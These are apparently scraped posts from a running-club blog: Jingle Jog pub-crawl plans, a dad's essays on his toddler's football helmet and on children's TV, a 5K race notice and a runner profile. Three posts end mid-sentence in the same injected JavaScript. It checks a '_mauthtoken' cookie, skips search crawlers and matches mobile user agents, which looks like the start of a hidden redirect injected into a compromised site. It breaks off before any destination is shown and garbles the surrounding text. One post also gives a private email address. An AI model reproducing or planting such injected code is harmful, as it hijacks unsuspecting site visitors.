5th Anniversary Jingle Jog Party

Thursday is our annual Jingle Jog/pub crawl at 7pm (let’s plan to depart Milltown promptly at 7:15).  We’ll don our Santa Hats, jingly bells and ugly Christmas Sweaters then run about a mile or two stopping at three neighborhood establishments for a drink. Then it’s back to Milltown for a party. This will be in celebration of our 5th anniversary, a span in which by my count we’ve run 263 consecutive Thursdays! Go to Cabbagetown Run Club Facebook page to RSVP for the Jingle Jog.  I will be awarding our Man and Woman of the Year and Mr. and Mrs. Consistency awards along with some other recognitions….  These are MAJOR awards!

To make things easier logistically we will be collecting money beforehand to pay for the drink at each stop and for the party (pitchers of beer, apps, birthday cake) afterwards at Milltown.  $15 for the crawl part and another $15 for the after party.  The $15 or $30 up front is just for those who’d rather have Mike Benzie and Kara Riehman invest their refreshment dollars for them and not have to carry money with them on the run or worry about the tab afterwards. Which is to say that if your name is Bill Barnes you should give them $40 at the beginning of the night…  Of course if you will not be eating and drinking with us you do not need to pay to participate.  Additionally, all are welcome to manage their own tabs.

See you all Thursday!

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Tonight Only…Man Tights! And Jingle Jog info…

Yep, it is that time of year again. Time for the Mandex Man tights to be donned in public. Unlike Piersol though, I wear shorts over them because I’m shy. Earmuffs, headbands, fancy sport gloves and the like will be on display tonight. Be a part of the Winter Expo!

Next week is the annual Jingle Jog on Dec. 16 at 7p-10p. We’ll don our Santa Hats, jingly bells and ugly Christmas Sweaters then run about a mile or two stopping at three neighborhood establishments for a drink. Perhaps we can hash out a course tonight. Then it’s back to Milltown for a party. This will be in celebration of our 5th anniversary, a span in which we’ve run more than 250 consecutive Thursdays! Go to Cabbagetown Run Club Facebook page to RSVP for the Jingle Jog! I will be awarding our Man and Woman of the Year awards along with some other recognitions….

Also, feel free to spread the word to others. The more folks we have jingling the merrier. We expect to have folks from FitWit and Team Awesome joining us. Somebody please forward this along to the fun folks of the Tuesday Night Urban Run Club. Heck, we are even open to the Oakhurst and Virginia Highlands run clubs joining us if they promise to leave their competitive scowls at home…

See you tonight and/or next week!

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The Black Matt Ryan

Some thirteen months ago I bought a Halloween outfit for my son Elliott who was two years old at the time.  It was a ‘Football Player’ uniform replete with the cheap, costumey, felt material jersey and pants and the topper was, well, the helmet.  It was a misshapen, foam hat with a chinstrap that seemed to be made of the same material that is used to package electronics.  Fastened by velcro, this piece of equipment could probably withstand a head-on collision with a mosquito.

I paid $14 for the ensemble but if the material used for it was worth more than 50 cents I’d be shocked.  Occasionally still, the entire outfit is donned for a marathon session of pass, catch and tackling (“zacking”) daddy but the helmet comes out every single day.  Elliott loves that damn helmet.

To keep the peace we pretty much let him wear it anywhere he pleases.  He often asks to wear eye black as well to complement the look.  A quick swipe of the forefinger and we’ve got ourselves one happy little football freak!  It’s become so commonplace that when strangers at Target or Publix chuckle at his headgear I forget what they are even looking at (ohhhhh, like your kid is so cute??!!)

Now, it is nearly impossible to be a football fan in Atlanta without considering the issue of race.  Michael Vick, a dynamic black quarterback, is probably the most popular athlete in Atlanta despite the minor detail that he currently makes his living in Philadelphia.  But he used to play here and then he got caught being unspeakably cruel to dogs and then a debate about race and sports emerged like a weed from concrete.  There are Falcons fans and there are Vick fans—those that actually accuse the Falcons management of racism for releasing him when really there was no choice to be made.

Vick spent a couple of seasons in prison and Atlanta drafted a paper-lily white kid out of Boston College named Matt Ryan to shoulder the quarterbacking duties and essentially become the new face of the franchise.  (I can deem him such because I am a paper-lily-every-bit-as-white product of the Boston College intramural program some umpteen years prior.)

Sure a compensation disparity of some 75 million dollars separates us, but there is a kinship in the suburban whiteness Matt and I share.   I’m not bragging or anything but I’m pretty sure that when I was 16 and he was 4, I could take him in a variety of backyard sports….

Anyway, I watched just about every snap he took in college and knew he was a special player so I was thrilled when Atlanta drafted him.  It didn’t hurt that by all accounts, he was a great person too.  I knew he’d represent the Falcons well and that he’d make BC alums proud.  I knew he would be the type of athlete Elliott could look up to.  So like any good dad would, I passed that enthusiasm along to my son with concerted repetition and exuberance for official Boston College & Falcons gear.

A couple of Thursdays ago the Falcons played the Baltimore Ravens and wore their black jerseys.  We let a rightfully riveted Elliott stay up a little late to see some of the game.  So as we re-played the victory in the park that weekend  I nearly fell flat out when I heard this blond haired, blue-eyed, sweetheart of a 3 year old declare “I’m the black Matt Ryan!!”

I noted an interracial couple on the path next to us, walking a pit bull that looked meaner than Ray Lewis.  I stuttered something along the lines of “heh heh…he means the Matt Ryan that wears the black Jersey…heh heh.”    The couple was a bit puzzled but generally bemused (thankfully). More importantly Ray the dog had his sights set on a falling leaf so disaster was averted.

There is still a long way to go but Elliott’s generation will certainly advance race relations further won’t they?  For their part, Matt Ryan and Michael Vick have both done a great deal to quell the talk of race and get the fans focused on football again.

Elliott doesn’t really know black from white from yellow and when he does begin understand racial differences, I don’t sense it will matter much to him.  Wouldn’t it be cool if we all just needed to recalibrate what it meant if and when our kids say things like “we don’t want the black guys to win”?  That’s not to say it would hurt to invest in some better helmets.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s 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Thanksgiving notes/5th Anniversary Jingle Jog Dec. 16th!

Just a few quick notes before everyone gets their eat on…

Tomorrow morning, the Sullivans will be venturing down to the corner of Carroll St. and Boulevard to watch the half-marathoners roll by.  Grab your coffee and join us!  It is at about mile 10.5 so I’m guessing the leaders will come through at around 8:20.  It’s a very cool course this year and I applaud the change making it more of an intown race, hitting a lot of cool neighborhoods.  Support!

Around 9:30-9:45 or so I will be heading out from Milltown for a fairly easy run (brutal three day stretch at boot camp this week!).  Email me directly if you think you will be joining me.  The streak lives on—I believe this will be the 259th consecutive Thursday that the Cabbagetown Run Club has laced them up!

Emily is looking to do a more ambitious 10 miler or so tomorrow morning—email her directly if you are interested in joining her Evall07@aol.com

I have set the date for our 5th Anniversary Jingle Jog bar crawl for December 16th!  Start spreading the word—it is a fun night for part-timers, some-timers and newcomers alike.  Break out the Santa Hats, Christmas sweaters and jingly bells.  We’ll wake up the neighborhood some before settling back in to Milltown for a party.  I know the date might pose Holiday conflicts for some of you but we held it on the 17th last year and had a tremendous turnout (plus I have a few other reasons factoring in to picking the 16th…)  I hope you all can make it.  More details to follow soon!

If I don’t see you tomorrow, Have a fantastic Thanksgiving and a relaxing long weekend!

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Toddler TV

Kristen and I ingest a generous portion of TV aimed at the toddler set because we have a three year old who just loves the darn thing.  There was once a glorious period of time where we diverted his attention from the TV fairly successfully save for sports that we wanted to watch.  I knew so little about the mind-numbing hours my future held.

Back then, he would soak up the British Open like it was Elmo’s European vacation.  I started getting smug with friends:  “Oh no, Elliott really isn’t interested in watching any of those kids videos.  He’ll watch a little football with me but other than that he pretty much leaves it alone…”  Jackass…

Then last Christmas we drove up north in our new, DVD-playing minivan and somewhere in the middle of Virginia I realized that in an effort to make the drive more manageable, we had opened Pandora’s animated box.  Not a day goes by where Elliott doesn’t ask if he can “watch a TV show” and by that he means something that will pretty much suck the life out of anyone over the age of 5.

When I was his age we had Sesame Street and I’m still cool with that one but now there are endless others that feign educational or moral lessons for the grand goal of selling lots of videos, books, toys, and clothes to idiot dads like me.  These people are very successful.

One of our first forays into the genre was Bob the Builder. Each story is only about twelve minutes long but the theme song is epic.   It’s like a fake, plastic hammer to the temple–“BOBBB the builder!  CAN WE FIX IT?  BOBBB the builder!!  YES WE CAN!!!” It roars through the sound system at the beginning and end of each episode and seems to ignore all ‘volume down’ prompts.

There are some light lessons learned by the assortment of dorky, anthropomorphous, construction machines who serve as Bob’s crew.  The common thread of building and fixing is clever too but I’d be lying if I didn’t admit that this show can stoke the fire of the inner cynic in me to a point of combustion.  I’m always certain to remove all actual tools from the room before viewing.  And this is one of the better ones!

Some are so lame that I cannot get beyond lamenting ‘somebody actually wrote this?  There is a person, an adult Actor somewhere, who is actually coming to work every day to read these lines?!’  See Dragon Tales or Berenstain Bears or Clifford.  Sample dialogue:  “Wouldn’t it just be the greatest if we all shared EVERYTHING?”  “Yaaay!!!”  These aren’t even the worst offenders. I put my foot down at Caillou.  I just don’t even want to know what this bald-headed, 4 year old nerd has to say.  Am I a bad person?  I’m not sure Elliott is even buying this bologna.

Then there are the pseudo-educational ones like Super-Why and Dora the Explorer–and maybe these are just meant for older kids but posing a question to the TV audience, blinking a few times and then just giving the answer anyway is not teaching my kid all that much, is it?  It’s driving me bonkers is what it is doing.

Sid the Science Kid was on the right track (“ever hear about the kid who wanted to know everything…about EVERYTHING??!!”)  Yep.  He’s ambitious alright but perhaps more so than his creators as they seemed to only have made a handful of episodes.  Dinosaur Train is pretty legit though.  I don’t know that Elliott is picking up on much of the paleontology, but I’m catching a few tidbits here and there and I dig it when Buddy the T-Rex has a hypothesis.

There are some European imports that baffle me as much as a sold out Hasselhof concert.    Kipper is a talking dog with a British accent and the most painfully boring story lines you could imagine.  Like the one where he couldn’t sleep.  (” ‘Ello  Henry.  It’s Kippah.  Are you awake?  I kahnt sleep!”) Wooh-boy!  Better TIVO that one!!   RubbaDubbers features a set of talking bath toys (I think??).  I’d be pretty hamstrung coming up with story lines for that one too.  The dads on the other side of the pond must be drinking fairly heavily to sit through these offerings.
Thomas the Train is a favorite though.  It seems like it was written by a Swiss schoolteacher in the 1890’s and hidden in a windmill only to be unearthed by a modern day marketing executive.  The figurines are relatively crude and shot in still frames but the kids just love to hear about these hard-working (yet sometimes cheeky!) trains.  George Carlin served as the narrator for many of the episodes and after him Alec Baldwin did a stint.  I give this show a lot of credit because I’m a reasonably educated adult and I have absolutely no idea what is going on here.  I do find visits to the Island of Sodor to be very soothing though.

Sometimes I worry that Elliott can get so caught up in a TV show that he looks like something between an unemployed roommate and a Moonie… But we do strictly limit the amount he watches. He still enjoys his books and oodles of free play.  Lately that has entailed wearing his football outfit and repeatedly sacking daddy, hoping for a fumble.  What he really loves more than anything though, and I find this so endearing, is for us to just tell him stories as he readies for bedtime.  I’m often embarrassed at how dreadfully corny the tales are that I come up with.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s 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Cabbagetown Run Club: Romp and Stomp course, information

Hello everybody, it’s time once again for your favorite almost 5-K and this year, we’re going the distance.

This is the 5th year to this rapidly growing neighborhood race and once again, we will cap the race at 1,000. So we’re sending this e-mail to past runners so you can sign up and reserve your spot. It’s still only $25 to preregister.

Because the race has grown, this will be the first year with automatic timing. You’ll get timing chips to tie to your shoes. As always, you’ll receive a free chili spoon that serves as entrance to the afternoon Chomp and Stomp chili and bluegrass festival and that’s a $5 value. The T-shirts, courtesy of Mark Kirby Design, are once again elite when it comes to 5-K T-shirts. They are also long-sleeved.

We’ll have more volunteers on the course and at the finish line. T-shirts and race packs will be given out before the race – both at a Thursday night pickup and before the race Saturday. We’ll have many more volunteers working the pre-race pickup so you’ll have plenty of time to warm up. The course will be flat and fast and very close to last year’s designed course. But this year – no short cuts. 😉

Thanks again for running last year. We do feel bad about the mixup with the course last year and will work hard to make sure everything runs a little more smoothly this year. We’re looking forward to another race and hope you can join us again.

Romp and Stomp 5-K
Find more Runs in Atlanta, Georgia

Here’s the link again to the sign up at Active.com.

If you have questions, or better yet, would like to volunteer to help on the course or with registration, e-mail us here.

We also have a Twitter account.

If you’d like, let your friends know about it via the Event at Facebook.

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Runaround: John Wald Fetner

An excerpt from INtown Runaround published by Atlanta INtown. The publication is free at at stands everywhere. If you know of someone who’d be good to feature, send nominations to me here.

Grant Park resident John Wald Fetner is a 62-year-old father of six, an advertising executive and a marathoner with an all-star mustache. John ran his first marathon in 2005 … and is improving!

How many marathons have you run now and what is your PR (personal record)? Twenty-seven marathons and five triathlons. PR was a 3:41 in the Museum of Aviation Marathon in Warner Robbins last year.

Men half your age are envious of your marathon times and your hair. Do you use conditioner? Lots of quick showers with very little soap and shampoo.

Past Runarounds: Jeff and Malissa Piersolif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| 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